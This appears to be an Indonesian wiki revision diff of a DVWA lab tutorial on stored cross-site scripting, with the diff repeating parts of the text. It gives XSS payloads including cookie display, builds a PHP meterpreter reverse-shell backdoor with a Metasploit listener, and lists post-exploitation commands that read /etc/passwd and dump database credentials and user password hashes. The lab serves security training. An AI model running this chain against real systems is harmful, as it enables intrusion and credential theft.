Difference between revisions of "DVWA: XSS"

From OnnoWiki
Jump to navigation Jump to search
Line 111: Line 111:
 
* Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
 
* Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
 
* Klik > XSS (Stored)
 
* Klik > XSS (Stored)
Name: Test 4
+
* Name > "Test 4"
Message:
+
* Message > "<script>window.location="http://192.168.0.100/DVWA-1.9/hackable/uploads/FORUM_BUG.php" </script>"
  
    <script>window.location="http://192.168.0.100/DVWA-1.9/hackable/uploads/FORUM_BUG.php" </script>
+
Ubah 192.168.0.100 dengan IP DVWA anda.
        Replace 192.168.1.106 with the IP Address obtain from Fedora 14 in (Section 3, Step 3).
 
  
Click Sign Guestbook
+
* Klik > Sign Guestbook
Click OK when the Test 1 Message is displayed
+
* Klik OK saat Test 1 Message di tampilkan.
  
shell
+
Beberapa perintah yang menarik
  
     Establishes a "sh" shell.
+
shell
 +
     membuka shell "sh"
  
tail /etc/passwd
+
tail /etc/passwd
 +
    melihat username yang ada di mesin sasaran untuk ssh brute force attack.
  
     This produces a potential prospect list for a ssh brute force attack
+
whoami
 +
     display nama user.
  
    whoami
+
grep apache /etc/passwd
        Displays the name of the user.
+
    memperoleh home directory dari username apache.
    grep apache /etc/passwd
 
        The goal of this command is obtaining the home directory for the apache username.
 
    find /var/www/* -print | grep config
 
        Here I am wanting to find all the configuration files in the /var/www directory.
 
  
 +
find /var/www/* -print | grep config
 +
    mencari semua file konfigurasi di directory /var/www
  
 +
grep "db_" /var/www/html/dvwa/config/config.inc.php
 +
    melihat informasi nama database, username, dan password untuk akses ke database mysql.
  
    grep "db_" /var/www/html/dvwa/config/config.inc.php
+
echo "use dvwa; show tables;" | mysql -uroot -p123456
        This produces the database name, username, and password information to log into the mysql database.
+
    melihat daftar tabel dari dvwa database
    echo "use dvwa; show tables;" | mysql -uroot -p123456
 
        This command produces a table list of the dvwa database.
 
    echo "use dvwa; desc users;" | mysql -uroot -p123456
 
        This command describes the columns of the users table in the dvwa datase.
 
    echo "select user,password from dvwa.users;" | mysql -uroot -p123456
 
        This command displays the user and password information for each user in the dvwa.users table.
 
  
 +
echo "use dvwa; desc users;" | mysql -uroot -p123456
 +
    melihat kolom yang ada di tabel users di database dvwa.
  
    echo "<pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
+
echo "select user,password from dvwa.users;" | mysql -uroot -p123456
        Place the html <pre> tag in the xss.html file.
+
    melihat informasi user dan password untuk setiap user yang ada di tabel dvwa.users
        The <pre> is used as a pre-formatter.
 
    echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
 
        Place user and password for the dvwa.users table in the xss.html file.
 
    echo "</pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
 
        Place the close html </pre> tag in the xss.html file.
 
    echo "<br>Your Name<br>" >> /var/www/html/dvwa/hackable/uploads/xss.html
 
        Replace the string "Your Name" with your actual name.
 
    date >> /var/www/html/dvwa/hackable/uploads/xss.html
 
  
 +
==Bukti==
  
 +
echo "<pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
 +
    letakan html <pre> tag di file xss.html
 +
    <pre> digunakan untuk pre-formatter.
  
 +
echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
 +
    letakan user dan password untuk tabel dvwa.users di file the xss.html
  
     On BackTrack, place the below URI in Firefox
+
echo "</pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
        http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html
+
     letakan </pre> tag di file xss.html
            Replace the above IP address with the IP Address obtained in (Section 3, Step 3).
+
 
 +
echo "<br>Your Name<br>" >> /var/www/html/dvwa/hackable/uploads/xss.html
 +
    letakan string "Your Name" dengan naman anda sebenarnya
 +
 
 +
date >> /var/www/html/dvwa/hackable/uploads/xss.html
 +
 
 +
 
 +
===Di Kali Linux===
 +
 
 +
Web dengan alamat
 +
 
 +
http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html
 +
 
 +
IP 192.168.0.100 di ganti dengan IP DVWA server
  
 
==Referensi==
 
==Referensi==
  
 
* http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html
 
* http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html

Revision as of 06:14, 29 May 2017

sumber: http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html

Tujuan

  • Test a basic cross site scripting (XSS) attack
  • Test an iframe cross site scripting (XSS) attack
  • Test a cookie cross site scripting (XSS) attack
  • Create a php/meterpreter/reverse_tcp payload
  • Start the php/meterpreter/reverse_tcp listener
  • Upload the PHP payload to the DVWA Upload screen
  • Test a PHP Payload cross site scripting (XSS) attack


Di sisi DVWA

Cek IP

ifconfig


Fix Stored Cross Site Scripting (XSS) Comment Box

Edit index.php

cd /var/www/html/DVWA-1.9/vulnerabilities/xss_s/
vi index.php

Search dengan keyword mtxMessage Ubah maxlength=50

<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"50\"></textarea>

menjadi maxlength=250

<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"250\"></textarea>

Di sisi Kali Linux

Cek IP Kali Linux

ifconfig -a

Enable Javascript di Browser

Buka Firefox
Preferences > Content > Uncheck - Block pop-up windows

Masuk ke DVWA

  • Login
  • DVWA Security > Low

XSS Stored Basic Exploit Test

  • Klik > XSS (Stored)
  • Name > "Test 1"
  • Message > "<script>alert("This is a XSS Exploit Test")</script>"
  • Klik > Sign Guestbook

XSS Stored IFRAME Exploit Test

  • Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
  • Klik > XSS (Stored)
  • Nama > "Test 2"
  • Message > "<iframe src="http://www.cnn.com"></iframe>"
  • Klik > Sign Guestbook

Tampak bahwa CNN muncul di bawah "Test 2" . Teknik ini menjadi exploit yang sangat powerful yang dapat digunakan dalam Social Engineering Toolkit (SET) untuk cloning web.

XSS Stored COOKIE Exploit Test

  • Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
  • Klik > XSS (Stored)
  • Nama > "Test 3"
  • Message > "<script>alert(document.cookie)</script>"
  • Klik > Sign Guestbook

Akibatnya cookie/session yang digunakan untuk hubungan komunikasi dengan webserver dapat diambil. Attacker dapat memodifikasi XSS script ini untuk mengirimkan cookie ke lokasi remote, bukan menampilkannya. Bayangkan jika ini sebuah situs bank online, setiap kali user login & informasi cookie dikirim ke lokasi remote untuk di manfaatkan.

Build PHP msfpayload

Membuat PHP backdoor

mkdir -p /root/backdoor
cd /root/backdoor
msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R > FORUM_BUG.php
ls -l FORUM_BUG.php

Pilih "Upload" di menu navigasi di bagian kiri DVWA.

Start msfconsole

Jalankan

msfconsole

Exploit

use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.105
set LPORT 4444
exploit

XSS Stored window.location Exploit Test

Ubah 192.168.0.100 dengan IP DVWA anda.

  • Klik > Sign Guestbook
  • Klik OK saat Test 1 Message di tampilkan.

Beberapa perintah yang menarik

shell
   membuka shell "sh"
tail /etc/passwd
   melihat username yang ada di mesin sasaran untuk ssh brute force attack.
whoami
   display nama user.
grep apache /etc/passwd
   memperoleh home directory dari username apache.
find /var/www/* -print | grep config
   mencari semua file konfigurasi di directory /var/www
grep "db_" /var/www/html/dvwa/config/config.inc.php
   melihat informasi nama database, username, dan password untuk akses ke database mysql.
echo "use dvwa; show tables;" | mysql -uroot -p123456
   melihat daftar tabel dari dvwa database
echo "use dvwa; desc users;" | mysql -uroot -p123456
   melihat kolom yang ada di tabel users di database dvwa.
echo "select user,password from dvwa.users;" | mysql -uroot -p123456
   melihat informasi user dan password untuk setiap user yang ada di tabel dvwa.users

Bukti

echo "

" >> /var/www/html/dvwa/hackable/uploads/xss.html
    letakan html <pre> tag di file xss.html
    <pre> digunakan untuk pre-formatter.

 echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
    letakan user dan password untuk tabel dvwa.users di file the xss.html

 echo "

" >> /var/www/html/dvwa/hackable/uploads/xss.html letakan tag di file xss.html

echo "
Your Name
" >> /var/www/html/dvwa/hackable/uploads/xss.html letakan string "Your Name" dengan naman anda sebenarnya
date >> /var/www/html/dvwa/hackable/uploads/xss.html


Di Kali Linux

Web dengan alamat

http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html

IP 192.168.0.100 di ganti dengan IP DVWA server

Referensi